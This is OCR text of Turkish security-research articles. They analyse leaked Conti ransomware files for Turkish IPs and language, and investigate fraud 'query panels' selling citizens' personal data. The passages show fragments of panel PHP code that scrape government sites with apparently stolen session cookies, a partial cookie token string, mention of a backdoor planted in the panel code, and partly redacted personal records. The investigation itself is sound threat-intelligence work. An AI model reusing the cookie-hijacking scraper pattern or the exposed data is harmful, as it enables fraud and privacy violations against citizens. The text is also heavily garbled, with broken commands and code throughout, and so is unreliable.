basinda bu veriler arasinda Tiirkiye'de hacklenmis bir sisteme
ait bilgilerin ve de Rusca olmayan, o6zellikle Tirkce
yazigmalarin, metinlerin yer alip, almadig1 oluyor. Neden diye

soracak olursaniz, bu tir sayili tehdit aktorleri tarafindan
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Tiirkiye’nin ne kadar genis ¢apta hedef alindigini ve de bu tiir
uluslararasi, organize, gruplarda hangi milletlerden tyelerin
oldugunu 6grenme sansim olabiliyor.

Bu zamana dek bu merakimi gidermek icin diger giivenlik
aragtirmacilarinin analiz caligmalari ile yetinmeyi tercih etmis
biri olarak buna bir dur demeye, cok daha hizli bir gekilde
bu bilgiye nasil ulagabilecegimi 6grenmeye ve benim gibi bu
konuya ilgili duyan siber giivenlik arastirmacilarina fikir

vermek icin kollar1 sivamaya karar verdim.

flk is olarak Conti grubuna ait yazismalarin da yer aldig
dosyalar1 vx-underground isimli web sitesinin paylasim

alanindan indirdim. Tim dosyalar1 teker teker actigimda
icinden 11000°den fazla dosya cikt1.

Directory: Conti/

File Size |

2417273 2022-03-01 02:46:14
Conti Documentat 234714 5
Contl Internal Softwar 2 3911885 -0102:57:08
Conti Jabber Chat Logs 2021 - 2022.72 1160294 2 13:10:39
Conti Locker Leak.72 6852466 2022.03-05 04:29:03
Conti Pony Leak 2016.72 62014991 2022-03-0102:51:14
Conti Rocket Chat Leaks. 7z 3370574 2022-03-01 02:47:40
Contl Screenshots December 2021.72 452894 2022-03-01 02:46:06
Contl Toolkit Leak.72 94186791 2022-03-01 02:42:15
Conti Trickbot Forum Leak.7z 8542211 2022.03-01 02:50:56

Conti Trickbot Leaks.7z 955850 2022-03-01 06:52:40

Training Material Leak o 1969-12-31 18:00:00


https://www.vx-underground.org/
https://share.vx-underground.org/Conti/
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N ) Leak — -zsh — 96x30

mertrix@Hack4Career Leak % ls —al
total @
drwxr-xr-x 14 mertrix staff 448 Apr 10 20:33
drwxr-xr-x@ 48 mertrix staff 1536 Apr 10 20:10 .
150 mertrix staff 4800 Mar 1 11:34 Conti Chat Logs 2020
3 mertrix staff 96 Mar 1 14:29 Conti Documentation Leak
14 mertrix staff 448 Mar 1 11:56 Conti Internal Software Leak
398 mertrix staff 12736 Mar 2 22:10 Conti Jabber Chat Logs 2021 - 2022
3 mertrix staff 96 Mar 1 11:48 Conti Pony Leak 2016
16 mertrix staff 320 Mar 1 11:47 Conti Rocket Chat Leaks
7 mertrix staff 224 Mar 1 11:35 Conti Screenshots December 2021
4 mertrix staff 128 Mar 1 11:39 Conti Toolkit Leak
55 mertrix staff 1760 Mar 1 11:50 Conti Trickbot Forum Leak
4 mertrix staff 128 Mar 1 15:52 Conti Trickbot Leaks

9 mertrix staff 288 Apr 10 20:31 conti_locker
—— 4 mertrix staff 128 Apr 10 20:31 jabber_logs
mertrix@Hack4Career Leak % find . | wec -1
11289
mertrix@Hack4Career Leak % ]

Yazismalarin okunabilir metin olarak JSON uzantili dosyalarda
saklandigin (Ornek: 185.25.51.173-20220301.json) 6grendikten
sonra ilk is olarak tiim dosyalardaki IP adreslerini asagidaki
regex destekli GREP komutu ile bulup, tekillestirip ip.txt isimli
bir dosyaya kaydettigimde elimde toplamda bu 2 regex

paternine uyan 3819 tane IP adresi oldu.

grep -R -E -0
"(25[0-5]12[0-4]1[0-9]1[01]?[0-9]1[0-9]?)\. (
25[0-5]12[0-4][0-9]|[01]?[0-9][0-9]?)\. (25
[0-5]12[0-4][0-9]|[01]1?[0-9]1[0-9]?)\.(25[0
-5]112[0-4][0-9]|[01]?[0-9][0-9]?)" >
../ips.txt

grep -1iRE
"(\b25[0-5] |\b2[0-4]1[0-9] |\b[01]?[0-9][0-9
12) (\. (25[0-5]12[0-4][0-9]11[01]2[0-9]1[0-9]
2)){3}1" ../1ips.txt | grep -E -0
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"[1-9]1{1,3}\.[0-91{1,3}\.[0-91{1,3}\.[0-9]
{1,3}'" | sort | unig -1 > ../../ip.txt

°oe Leak — -zsh —134x30

(mertrix@HacksCareer Leak % grep —R —E —o "(25[0-51|2[0-41[0-91|[01]1?[0-91[0-917)\.(25[0-5]|2[0-41[0-9]1| [@1]?[@-91[€-91?)\.(25[0-5]|2(e]
-4100-91|[0112[0-91[0-912)\.(25[0-5]1|2[0-41[0-9]|[01]2[@-91[6-912)" > ../ips.txt
(mertrix@HacksCareer Leak % )
[mertrixHack4Career Leak % cat ../ips.txt | head -n 3 j
./Conti Jabber Chat Logs 2021 - 2022/185.25.51.173-20211625.750n:208.116.64.130
./Conti Jabber Chat Logs 2021 - 2022/185.25.51.173-20211025.3s0n:61 7 172 13
./Conti Jabber Chat Logs 2021 - 2022/185.25.51.173-20211025. json:61
(\b25[0-5] | \b2[0-4][0- v]\\n[alma 9][0 ~71’)(\ (25[ 8- 51\1[9—4][@ 91|[0117[0-91[0-912)){3}" ../ip]
1,31\.[0-91{1,3}\.[0-91{1,3}' | sort | uniq -i > a
[mertrix@HackiCareer Leak % cat ../../ip.txt | head -n 3 j

ImertrixoHack4Career Leak % cat ../../ip.txt | we -1

mertrix@Hack4Career Leak % [I

Sira bu IP adreslerinden hangilerinin Tirkiye'ye ait oldugunu
bulmaya geldiginde imdadima IPinfo API‘'si ve Python
kitiiphanesi yetigti. Elimdeki tim IP adreslerini (ip.txt) bu
kitiiphaneden faydalanarak gelistirdigim IP2Geo Tool v2 isimli
ara¢ ile sorguladigimda, bu IP adreslerinden 2 tanesinin
(31.210.111.142,  5.188.168.19) Turkiye’de  bulundugunu

6grenmis oldum.

Desktop — Python ip2geo.py — 134x30

IP2Geo Tool v2 [https://www.mertsarica.com]

.@ AU Brisbane
©.127 AU Brisbane

.135.29 CN Beijing
.35.45 CN Beijing
.23.183 JP Tokyo

@ Desktop — -zsh — 80x24

[mertrix@Hack4Career Desktop % grep ":TR:" location.txt
31.210.111.142:TR:Istanbul
5.188.168.19@:TR:Bahgelievler



https://ipinfo.io/
https://github.com/ipinfo/python
https://github.com/ipinfo/python
https://github.com/mertsarica/hack4career/blob/master/codes/ip2geo_v2.py
https://whois.domaintools.com/31.210.111.142
https://whois.domaintools.com/5.188.168.190
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Elde etmis oldugum sonucu dogrulamak icin ise veri
sizintilarini analiz ederek kurumlar: anlik olarak haberdar eden
Siber Tehdit Istihbarat Platformu SOCRadar‘a goz attigimda,
sonuglarin ortistiiglinii gérmiis ve merak ettigim ilk konuyu

acikliga kavusturmus oldum. (£

5188168190

G = s

Stealer Logs  Public Repos  Public Buckets ~Reputation Data

IP INTEL CARD

5.188.168.190
1000:

Risk Score 00071

1P Address
Network 5.188.168.0/23
Country/City Turkey/Istanbul

Penalty Reasons @ Threathose (100%)


https://socradar.io/
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= Other Bookmarks | [3] Reading List:

Sira merak ettigim diger konuya geldiginde metinden dil tespiti
yapabilen Python kitiiphanelerine géz atmaya karar verdim.
Kisa bir aragtirma yaptiktan sonra kargima bu alanda 6ne ¢ikan
fastText, langdetect, langid kiitiiphaneleri ¢ikt1.

Kiitiphaneleri teker teker Conti’nin sizan verilerindeki
metinler tizerinde test ederken kiitiphanelerin kimi metinler
icin dogru kimi metinler i¢in hatali dil tespiti yaptigini gérdiim.
Hangisini kullanacagim konusunda kara kara disiiniirken
tciinden de faydalanan bir ara¢ gelistirmeye ve kullanan
kisinin ihtiyacina, tercihine gore guvenirlik seviyesi
(confidence level) parametresi ile bu araci kullanmasinin daha

dogru bir yol olacaginda karar kildim.

find . -type f -print -exec cat {} \;
> ../logs.txt komutu ile Conti’nin sizan verilerini tek
bir dosyada birlestirdikten sonra gelistirdigim Language
Identification araci ile logs.txt dosyasindaki her bir satirin
Tiirkce dil tespitine yonelik olarak ii¢ kiitiiphane tarafindan
(giiven seviyesi olarak High parametresini belirttim) kontrol

ettim.


https://fasttext.cc/
https://github.com/Mimino666/langdetect
https://github.com/saffsd/langid.py
https://github.com/mertsarica/hack4career/blob/master/codes/lang_id.py
https://github.com/mertsarica/hack4career/blob/master/codes/lang_id.py
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Language Identification aracini kullanmak icin ilk
parametre olarak Oncelikle satir satir analiz
edilmesini istediginiz metin dosyasini belirtmeniz
gerekmektedir. Ikinci parametre olarak ise hangi dile
dair tespit gerceklestirmesini istiyorsaniz o dilin
kodunu (Tiirkce ise TR, Ingilizce ise EN gibi)
belirtmeniz gerekmektedir. Opiyonel parametre olan
3. parametre ise giiven seviyesini belirlemektedir. Bu
seviyeyi High olarak belirlerseniz ii¢ kitiiphanenin
de belirttiginiz dil kodunu tespit etmesi durumunda

bunu ekranda belirtecektir.

Ornek kullanim: python3 lang_id.py logs.txt TR
High

Metin dosyalarinda herhangi bir Tiirkce kelime, ciimle
kullanilmadigy igin ii¢ kitiiphane tarafindan Tirkce dil
kullanimina dair herhangi bir tespit olmadi. Aracin diizgiin
calistiini test etmek icin ise logs.txt dosyasina Tiirkge sahte
3 metin ekledigimde ise programin basariyla bunlari tespit
ettigini gérmils oldum. Bu analiz sayesinde Conti'nin sizan
verilerine gore grup iiyeleri arasinda Tirkcge konusulmadigini

6grenmis ve merak ettigim son konuyu da netlestirmis oldum.
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* Aa & o Find Find Prov Find A

2 tne 4, Coumn a3 TSz panted

Izledigim bu yoéntemin ve gelistirmis oldugum iki aracin bu
gibi veri sizintilarinda giivenlik arastirmacilari, uzmanlari igin
fayda saglayacagini iimit ederek bir sonraki yazida goriismek

dilegiyle herkese giivenli giinler dilerim.
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3. e-Devlet

Hacklendi mi?

If you are looking for an English version of this article,

please visit here.

Oncelikle yazinin sonunda sdyleyecegimi basta sdyleyeyim,
“Hayir, hack-len-me-di!” Peki bu durumda vatandas olarak
rahat bir nefes alabilir misiniz ? Maalesef hayir. Bunun sebebini
de yazinin devaminda okuyabilirsiniz.

Zaman zaman hortlayan “e-Devlet Hacklendi!”, “e-Devlet
verileri ¢alind1!”, “85 Milyon Vatandasin Kimlik Bilgileri
Calind1!”” vb. haberlerin (#1, #2) c¢ikis noktasina baktiginizda
cogunlukla dolandiricilarin, siber sug orgiitlerinin yer aldig:
ve hizmetlerini/servislerini pazarlamaya calistiklar1 Telegram,

ICQ, Discord, forumlar gibi mecralarda paylastiklar: ilanlarin
buna sebep oldugunu goérebilirsiniz.

Bu ilanlar1 incelediginizde ise siber sug¢ orgitlerinin “Sorgu

Paneli/Checker” ad1 altinda dolandiricilara kimi zaman tucreti

53


https://www.mertsarica.com/was-turkeys-e-government-hacked/
https://www.cumhuriyet.com.tr/turkiye/son-dakika-e-devlet-verileri-calindi-tc-kimlik-numaralari-bile-gozukuyor-2089112
https://www.sozcu.com.tr/2022/gundem/emniyetten-e-devlet-hacklendi-iddialariyla-ilgili-aciklama-7108698/
https://telegram.org/
https://icq.com/
https://discord.com/
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mukabilinde kimi zaman {icretsiz olarak vatandaslarin
verilerine kurduklar1 web siteleri, Telegram kanallar1 ve
Discord odalar1 tizerinden erigim hizmeti/servisi sagladiklarini
gorebilirsiniz.
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O https://discord. g/

VIP (YILLIK) VIP (3 AYLIK) VIP (AYLIK) VIP (HAFTALIK)

B ot

C (O & discord.com
4 Career. Inf... in LinkedIn Mert SARICA (mer... ? Inbox - mert.saric...
aktif-deaktif-sistemler

05/13/2023 4:46 PM
AD SoYAD [

c¥

Use Quick Switcher to get around

Discord quickly. Just press: GSM-TC?\

S Tc-asmil@

tin-alin p—
satin-allm AILE[JJ
botu-nasil-kullanirim

DETAYLI GSM¥Z
aktif-deaktif-sistemler 2" e ‘i

OKUL NO
v CEKiLig {

cekili E-OKUL VESIKARJ / 'KENDIM ATIYORUM!

v KAYIT 18-VESiKAVXJ‘

kayit __
ADRESV/

v LAGALUGA . P
SULALEV|
sohbet e

PARSELV/
v TICKET I

ticket AsiZ
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16 members

Pinned message
| «~TC GIR OKUL NO VE ADRES VERSIN =~ PYDROID3 ILE CALISTIR

| /sorgu@

Parametreler

/sorgu -tc *

/sorgu -isim x*
/sorgu —-isim2 =
/sorgu -isim3
/sorgu —-soyisim *
/sorgu —dogumtarih =
/sorgu —-nufusil *
/sorgu -nufusilce *
/sorgu —anneisim *
/sorgu —annetc x
/sorgu -babaisim *
/sorgu -babatc x

/gsmn —tc %
/gsmn —gsm >

/aile -tc %

/whois -ip *

/iban -no *

/rand

Parametreleri kullanirken;
* Simgeli yerlere bilgileri,
Girmeniz gerekmektedir.

/sorgu -tc 12345678901
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708 members

Pinned message
| 2, HER GUN DUZENLI iLK YAZAN ‘HACK DERSLERI

D
/sorgu -isim « -soyisim

| Baba TCKN:
| Uyruk: TR

Sonu¢_No: 23
HKrA_ID:

IL

]

I

I

b

| TCKN: "

| isim: __ ..

| Soy isim:.

| D.Tarihi: 22.3.2004
| Yas: 19YIL, 2 AY, 28 GUN
| iL Kodu: 04

| iLCE Kodu: 1111
| Nifus iL; AGRI
| Nofus iLCE: MERKEZ
| Anne isim:

| Anne TCKN:
| Baba isim:
| Baba TCKN:
| Uyruk: TR
b

I

I

IL

]

Sonug¢_No: 24
HKrA_ID:

| TCKN:

| isim:

| Soy isim:.

| D. Tarihi: 26.11.2009

| Yas: 13YIL, 6 AY, 24 GUN

I it wadi. £n
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Bunlar1 gordikten sonra “Peki ama nasil?” sorusunun
endigeyle aklimzi kurcaladigini tahmin edebiliyorum. Bu
soruya yamit bulmak igin siber suclularin, dolandiricilarin,
tehdit aktorlerinin her adimini yakindan takip eden ve bunlara

yonelik olarak miigterilerini uyaran SOCRadar Siber Tehdit

Istihbarat1 firmasinda calisan bir profesyonel olarak elimdeki
imkanlardan sonuna kadar faydalanmaya karar verdim.

Bunun icin ilk olarak SOCRadar’in XTI platformu tarafindan
izlenen Telegram kanallarinda kisa siireli bir gezintiye ¢iktim.

Sorgu panellerine yonelik arama yaptigimda bazi Telegram
kanallarinda bu panellere ait dosyalarin baz1 kigiler tarafindan

paylasildigini gérdiim.


https://socradar.io/
https://socradar.io/
https://www.linkedin.com/in/mertsarica/
https://socradar.io/extended-threat-intelligence/
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Q W @

1,118 members

! Pinned message #1 Q=
) instagram Eski Kurulumlu Hesap Galma Methodu (Youtube'dan Kaldirilan ... -

Reply
tcsorgu.php
17.0 KB

tcgsm-1.php
15.4 KB

vesika-1.php
9.3 KB

adres_1-2.php
15.9 KB

adres_1.php
15.9 KB

vesika.php
9.3 KB

tcsorgu-1.php
17.0 KB
ailesorgu.php
17.3 KB

adsoyadsorgu.php
15.5 KB

ipsorgu.php
8.2 KB

0000000000
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1,118 members

! Pinned message #1
instagram Eski Kurulumlu Hesap Galma Methodu (Youtube'dan Kaldirilan Videom)

R —

Deleted Account

Sa

Keke gorinmuyordun nerelerdesinsen .12

masterpanel.zip
8.0 MB

Sorgu panel script masterpanel
€ 10 04:12



Pinned message

Sohbet grubumuza katilmak igin; https://t.me/-

o :
q v
o PANEL KAPATILMISTIR. '
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| Gerekli aciklamalar web sitemizde yer almaktadir;

1

|| HOSCAKALIN @
g ¥

G

| ]
g
@D Leave a comment

| e T e

i KAPANDIGI iCiN MEVCUT
| ARMAGAN EDIYORUZ @

indirme Linki: https://disk.yandex.com.tr/d/

Kurulum i¢in benioku.txt kontrol ediniz.

Yandex Disk
Gorintile ve Yandex Disk'ten indir

& 30

(D Leave a comment

d .

SCRIPTINi SANALA

Son 1.5 yilda dolandiricilar arasi artan rekabetin kimilerinin

piyasadan cekilmesine kimilerinin ise hacklenmesine yol

actigini 6grendim.
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Herkese selamlar arkadaslar, yapacagim aciklama sadece bizim iiyelerimize aittir.

{ye degilseniz sayfay kapatabilirsiniz.Oncelikle kapatildigimi siz degerli iiyelerimize maalesef bildirmek isteriz.

Yonetim ekibi bu zamana kadar hickimseye magdur olacag bir durum yasatmamistir ve kapatildig igin de magdur
etmeyecektir.

Kapatma sebebimiz bildiginiz iizere yaklasik 1,5 sene dnce acildi ve
ilk agildiginda bizim digimizda saglam olan maximum 3-5 saglam siteler vardi
fakat son zamanalarda o kadar bog beles siteler acildi ki isin cilki gikti,
higbir ciddiyeti yok ve haliyle bizim de artik hevesimiz yok.
1,5 sene dncesine kadar agir hevesli olarak basladigimiz bu is artik bizim igin bikkinhk derecesine geldi
ve bi' Gnemi kalmadi ayrica belirtmek isterim ki en biiyiik mafya devlettir ve boynumuz kildan incedir.

Fakat bu durumda bile siz degerli iiyelerimiz magdur olmamasi adina Uyelikleri olan miisterilerimize para iadesi
yapilacaktir.

Asagidaki butona tiklayarak iiyeliginizi sorgulayip ardindan mevcut iiyeliginizden kalan giin kadar
iicretinizi belirleyeceginiz IBAN adresine iadenizi alabilirsiniz.
iade isleminden sonra 2 is giin igerisinde iicretiniz hesabiniza aktanlacaktir.

Uyelerimiz her zaman bizim destekgilerimiz oldu, kisacas! ilk gdz agnmiz. Iyi ki varsiniz, iyi ki vardimz %

IADE ISLEMI

Pinned message
Arkadaglar Fiyatlara indirim yaptim bundan sonra fiyatlarimiz Haftalik 60 TL Aylik 150 TL Yillik 350 TL Sinirsiz 700 TL Satis & Destek:

TOSKACHECKER.PRO HACKED BY

&8 @1 &1

Toska checker dosyasi:
https://dosya.co/(

dosya.co
indir = |
Dosyay! indir
N
3 1 lois.
vy

Sorgu panellerinin nasil ¢alistigim 6grenmek icin paylasilan
dosyalar1 (kaynak kodlar1) yakindan incelemeye basladim. Bazi
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kaynak kodlarinda dolandiricilarin, tamdiklari, akrabalari
olduklarimi tahmin ettigim TCKN bilgilerine yo6nelik kontrol
koyduklarini gérdiim. Ornegin herhangi bir kisi bu TCKN
bilgisini panel tizerinde sorgulattiginda islem
gerceklesmiyordu.

4> adesiph

File Actions Edit View Help




66 mertsarica

root@Kali: ~

File Actions Edit View Help

Bazi kaynak kodlarinda ise bu kaynak kodlarimi indirip daha
sonra kullanacak dolandiricilarin web sitelerine sizmak igin
arka kap1 (web shell) yerlestirildigini tespit ettim.

Name Date Modified Kind

> @ masterpanel Today at 20:24 -- Folder
Today at 19:21 74 KB Docume|
s

&) AvastFile Shield alert

w

Multiple threats
adsoyadv3.php is infected with malware: PHP:BackDoor-EP [Trj]

Copyright 2023 @ HACKED BY

Kaynak kodlarinda yer alan tehdit aktoérlerinin imzalarim


https://www.imperva.com/learn/application-security/web-shell/
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(rumuz/nickname) SOCRadar XTI platformunda arattigimda
hangi Telegram kanallarinda barindiklarini ve onlarla ilgili olan
mesajlar1 okuma sans1 elde ettim. (siber giivenlik uzmanlari,
emniyet yetkilileri i¢in miithig bir imkan!)

0 D index.php

indox.php

Created with f by jenoisika/xbozkdrt/zeox

[ functions.php

functions.php

<?php
customCSS =
customJAVA =
customCSS
<link hr /plugins/DataTab datatables.min.c
0 e p: quarex.pro/assets/im; arexlog
../assets/plugins/DataTables/style.css" rel="styleshe

require Tesolfondlolfonlld /baglan.php' ;
page_title Kullanici Sil
de /+«+/../admin/

('Europe/Istanbul');
nowdate = ("d.m.Y");

if ( ( [ m {
sil = ( ['sil']);
query = "DELETE FROM “sh_kullanici® WHERE id='$sil'";
if ($conn =
success BASARIYLA SILINDI';
('location: /pozo_fayuj_miniK');
} else {

}

("Loc

« T — R *»@ 06 :
‘SOCRadar
(]
e — Lot venr ox [l W e—e— 2
0 Actions
e
- https:/tme/t 3741
M 2] ]-]
o TrondingKepworte
I ’ (o] ]]
m e checker 1830
o
.
m n - wildfre. 1003



https://socradar.io/extended-threat-intelligence/
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€ c o

& Hack 4 Career. i

SOCRadar

o 2023041710 20230618

Sira bu sorgu panelleri {izerinden vatandaglara ait bilgilere nasil
erisildigini 6grenmeye geldiginde, 3 farkli panele ait kaynak
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kodlar1 tzerinde yapmis oldugum arastirmalarda iki farkli
yontem ile karsilagtim.

Birinci yontemde panel iizerinden yapilan sorgular ayni veya
farkli dolandiricilara ait bagka sistemlere yani Web APIllere,
Web APllerden de kuvvetle muhtemel calint1 hesap bilgileri
(cerez/cookie) ile erigim yetkisi olan web sitelerine (devlet,
tniversite vb.) iletiliyordu. Gelen yamitlar da yine ayni yol
izerinden sorguyu yapan kullanicilara/kisilere geri iletiliyordu.
fletisimi kisaca akisa dékmem gerekirse;

Kullanic1 -> Sorgu Paneli (Dolandiriciya ait) -> API
(Dolandiriciya ait) -> Web Sitesi (yetkili, ¢alint1 bir
hesabin cerezi ile erisim)

@ api.php
api.php

<?php
include ". / ontrol.php";

(

0;
, CURLOPT_URL, “https://api.she /sorgu. php?tc=$tcsac ves ikalik&auth=GD36n
SmunwV

headers[] Accept: application/json";

headers = 0;

result (sch);

($sorguURL, "Fayuj Sorgu BOT v24", "Vesika Sorgu", "sk$kadisk isimli liye sx$tcwk icin so



https://www.kaspersky.com.tr/resource-center/definitions/cookies
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@ api.php
api.php

k?php
include "../../server/authcontrol.php
te = ['tc']);

include dsip.php';
url ip."/apisenr tapu/tapu. php?tc=$tcsauth=1
bacislkenfayuj = (

(€1}
(st
(b

fayuj,

resp;

($sorguURL, "Fayuj Sorgu BOT v2", "Tapu ", "sx$kadixx isimli dye **Stckx icin sorgu yapti!");

[ fayujunisorgu.php
fayujunisorgu.php
k7php

include "../.. authcontrol. php!
tc ( ['tc']);

/uni/uni.php?tc=stesauth=

resp;

($sorguURL, “Fayuj Sorgu BOT v31", "(iniversite Sorgu", "sxSkadixk isimli iiye #x$tcik icin sorgu sk$respik
yapti!");

API Nedir?

APl'ler, iki yazilim bileseninin belirli tanimlar ve
protokoller araciligiyla birbiriyle iletisim kurmasina
olanak  tamiyan  mekanizmalardir.  Ornegin,
meteoroloji midirliginin yazilim sistemi, giinlik
hava durumu verilerini igerir. Telefonunuzdaki hava
durumu uygulamasi, APT’ler araciligiyla bu sistemle
“konusur” ve telefonunuzda size ginlik hava
durumu  giincellemelerini ~ gosterir.  (Referans:
Amazon)

Ikinci yéntemde ise bu defa panel iizerinden yapilan sorgularda
arada Web API olmadan yine kuvvetle muhtemel calint1 hesap


https://aws.amazon.com/tr/what-is/api/
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bilgileri (cerez/cookie) ile erisim yetkisi olan web sitelerine
(devlet, iiniversite vb.) iletiliyordu. Gelen yanitlar da yine bir
onceki yontemde oldugu gibi aym1 yol tizerinden sorguyu
yapan kullanicilara/kisilere geri iletiliyordu. Bunun da

iletisimine akisa dokmem gerekirse;

Kullanici -> Sorgu Paneli (Dolandiriciya ait) -> Web Sitesi

(yetkili, calint1 bir hesabin cerezi ile erisim)

(] D api.php

curl_scraped_page
(sch);

SR ($curl_scraped_page,

= sjsonl"adayList"]));

skskadixk isinli lye *kStoex numarasiyla sksdogume tarihli kisi i



https://www.kaspersky.com.tr/resource-center/definitions/cookies

72  mertsarica

L] B fayujapix.php

4> fayuijapix.php
1 [php
(

display_errors', 0);

client = n 0;
requestKinlik = sclient ('GET', 'http mon/Firmasorgulanalslenleri/EsnafSorgulana’ . stc, [

n, text/htnl,applic cation/xml;q e e/webp, inage/apng, /;

utf-g
Chromiun®;

(KHTHL, ik

response ($requestKimlik-:

if (Sresponsel"State"] == 1) {

Json_result (sresponse['R
(sjson_result["sigorta

sayi = Si iBil 1] [ al okHi: DtoL i
json_result ($3son_result["sig

3 0;
ortaliBilgisi”] ["sgk rtaliTunOrtakHiznetlerDtoList" ] [§sayi

)
true", “message” => “Bulundu”, “data ($json_result, ), “adres response ["Result"] [

(["success” = "false", "message” => "Bulunamadi’l);

@ api.php

taly TC

NT 6.1; WOy eWebKit/537.36 (KHTML, like Gecko) Chrome/dd

output

° @ cookie.php

<> cookie.php
<?php

avr a EECEEEIK PHHIJMCNIBJOI
IDIMHBE( OFMGEBK
3.1765686683 . 164510592 5 erificationToken=dtXPJ4811kdrk1TQo
yQh-KibrBBCv7CG 13_qnP
tag_UA_116537410_2=1; raaaaaaaaaaaaaaaa_session_=PMMPGDLNPHDHCONL
BHFEGFPCKMMHIGFF
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© © atsbilgi

B toxdphp 26,2 <tove
™ adsoyad sauth_key =
B apiphp
™ adsoyadpro 2 £(5_GETl"auth'] 1= Sauth_key) {
o scho sson encode{arraj . success'
api.php iH
™ ale
B api.php

‘nessage’ => ‘auth key nerde i herif'));

sch
ar ,ewws:n mmw uRL,
Selaplyropor/uyautamssorouadetay?
7 istetonsz: falsevr
™ apiservices y curl_setont
adsorgu.php CurlCsetopt (
akraba.php

curUsetopt (Sch’ CURLOPT_SSL_VERTFYPEER,
curUsetopt (sch, CURLOPT_PROXY,
annedencocuks

aol.php

asi.php

php
babadancocuksorgu.php
detayliadres.php
gsmtc.php
secmentc.php.
sinif.php.
sms.php.
soyadsorgu.php
tegsm.php
tesorgu.php
universite.php
vesika.php

B apiphp
= fayuihane
B api.php

B apiphp.bak
B apiphp
™ minecraft
™ neuhasus
™ numara
- okl
8 omurlerkisadunya...rkerensolmusyani
- proxy
- qwe
- sinif
- sms
™ sokak
™ soyagaci
- topro
i universite
M vendor
- vesika
™ wioxyadres
™ wroxyvesika
™ yemeksepet
B composer.lock
R composerjson
B 2022.0hp
B adsoyad.php

curlCsetopt (schy CURLOPT_PROXYboRT,

_proxy);
_proxyport);

curlCsetopt (schy AURLOPTZCOOKIE, 4Coo

curl_setopt

Chrone/169.0.0, o Sefarisar o

Accept: oy

h, CURLOPT_HTTPHEADER, array(
pplication/json, text/plain, */x

*Accept-Encoding:

Accept-L.
*Authoriza

* Connector

“User-Agen
36

© @ api.php

»
error_reporting(0);
_set("display

use GuzzleHttp\Clie
header(*Content-Typ

$te = s_POST("tc"];

ient = new Client
Srequestkinlik = $c
vakal T

tion

n: kespative’;
gov. tr/pages/src/,

ite: same-origin’,
t: Mozilla/5.8 (Windows NT 10.

errors’, 0);

nt;

application/json’)

t0;
Uient->request (GET*, *https:
ste, [

ative
“appLication/son; charset=utf-g",
Sconwie, s Sioron C1ats cooRtzet

0.01%,

gov. tr/Takip/VakaTakig
99", o'

sane-origin”,
111/5.0. (Windows NT 10.0; Win64;

LKt tpRequest”

Moz1112/5.0 (Windows NT 10.0; WinGd; x64) AppleWebKit/537.36 (KHTHL, Like Gecko)

ISV YL CSTIOLTANTG DM
16Pho20Eyy

Win64; x64) AppleWebKit/537.36 (KHTHL, Like Gecko) Chrome/109.0.0.0

+gov. tr/Takip/VakaTakip/GetVakals¥eriBilgileri?

X64) AppleWebKit/537.36 (KNTHL, like Gecko) Chrome/

= son-secode(s
-,,M - Lnunlujxnn mu\wugmun

> srz,pnme[‘vesu\ e taaresnis);
Ye
T i

1) responsedsonstrr), ¢
Y

oiitsio] rsgh
utt (s igortatibiigisi

er ¥ tisigortauy
sotstoartalipiigiiert

mOrtaki

etlerbtoList"]);

> json_decode(sjson_result, true), “adres’
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@ api.php

/Takip/VakaTakip/GetVakaOkulBilgileri?

response ["Result"]1);

Kuvvetle muhtemel calinti hesaplarla yapiliyor dememin
baglica sebebi SOCRadar’in siber tehdit istihbarati
platformunda kétiiye kullanilan bu web sitelerini arattigimda,
erisim bilgilerini iceren kayitlarin (stealer logs: kullanict adi,
parola, cerez vb.) yeralti dinyasinda satildiginmi gérmem ile
oldu. Muhtemelen baz1 tehdit aktorleri bu sitelere, sistemlere
erisim yetkisi olan kullanicilarin sistemlerini hackleyip, elde
ettikleri bu bilgileri (stealer logs) baska tehdit aktorlerine,
dolandiricilara satiyorlar. Yazinin sonundaki videoda gecen

ifadelerin de bunu destekler nitelikte oldugunu séyleyebiliriz.

A SteslerLogFikers  clwrar

© Domain ntel Card

Domsin score ©



https://socradar.io/what-is-stealer-as-a-service/
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< C O @ platform.socradar.com o *»90 06

& Hack4 Coreer.Inf.. i Uinkedin ¥ Mert SARICA (mer.. 1 Inbo - mertsarc B3 Other Bookmarks

SOCRadar Threat Hunting * proressionaL  (MS

JR—— o [l e 28
@ stealer Logs £ Actions.
Entity Usemame  Password Tag Filename Log Date. Country Detaits. “ Bd o
o [r— o mn QO
Sl s fo— Ban2n @
. [o—— wanzs @ Pty ———
i pr— waexn @
© Domain Intel Card
iy pr— wanns
U
ot [e—— wanzn @
oo [re— vanmn @ 0
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Ayrica yaptigim arastirmalarda Web APllerinin de sorgu
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panelleri gibi yeralti diinyasinda (underground) ayri bir

piyasasinin oldugunu 6grendim.

. Pinned message #25
Cok guzel bir API birakiyorum https:/|

SHADO ARSIV

APT SERVIS

IMUSHANE / GUMUSHANE

MERKEZ'
NBUL/ESENYURT" , L
ISTANBUL ESENYURT \_/

i A

3
“numarabilgi
hs inur
annegsn!
“babagsm

H

“okulbilgisi®: {
“okulnumaras1 i
“ogrencidurum”: "Aktif ogrenci®

“arachilgisi”: {
"sahippl null

o
Cok gtizel bir API birakiyorum

v

} https:// l.net/. free.php?tc=137
|



263 subscribers

‘ Pinned message

[ — June 9
Forwarded from

Adi
Soyadi
DogumTarihi

Kimlik Bilgileri

Telefon Bilgileri

Adres

VergiNo
Adres Bilgileri

VergiDadi

VergiDkodu

Detayli Tc Sorgu Api
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Sonuglan Kopyala

16.3.1998

25YIL 2 AY 24 GUN

ISTANBUL

555

TurkTelekom

BUYUKGEKMECE 34

tc= kismini degistirip istediginiz kisiyi sorgulayabilirsiniz.

https:// tk/free/detaylitcsorgu.php?tc=

&2

® 246 03:20
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Previous message
ADRES E OKUL VESIKALI UCRETSIZ PANEL SITE: https:// .org.tr/ ANAHTAR: https://t.me/

@1

W& 5comments >

- "m0exQaeBs O
ilag apisi gelmistir satin almak icin

(O Leave a comment

€ > C 0 1.0rg)

A& Hack 4 Career. Inf.. in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric...

80k Eokul Api 8 Yorum

MEBBIS VE iLAC SORGU PANELI (Sayfalar: 1 g 103 Yorum

Isyeri & Plaka Sorgulama Ucretsiz | (Sayfolar:12345) 43 Yorum

T ile Ders Sorgulama (sayfalar:123 4...12) 10 Yorum

Apileri sqle gevirmekigin kod :D (Sayfalar:1234...8) 77 Yorum




€ c o

& Hack 4 Careor

Linkedin Mert SARICA (mes

PANEL ADRES E OKUL VESIKA (sayfalar:123 4

Agik Oretim Lisesi API Source (Detayl) | (Sayfalar:1234..8)

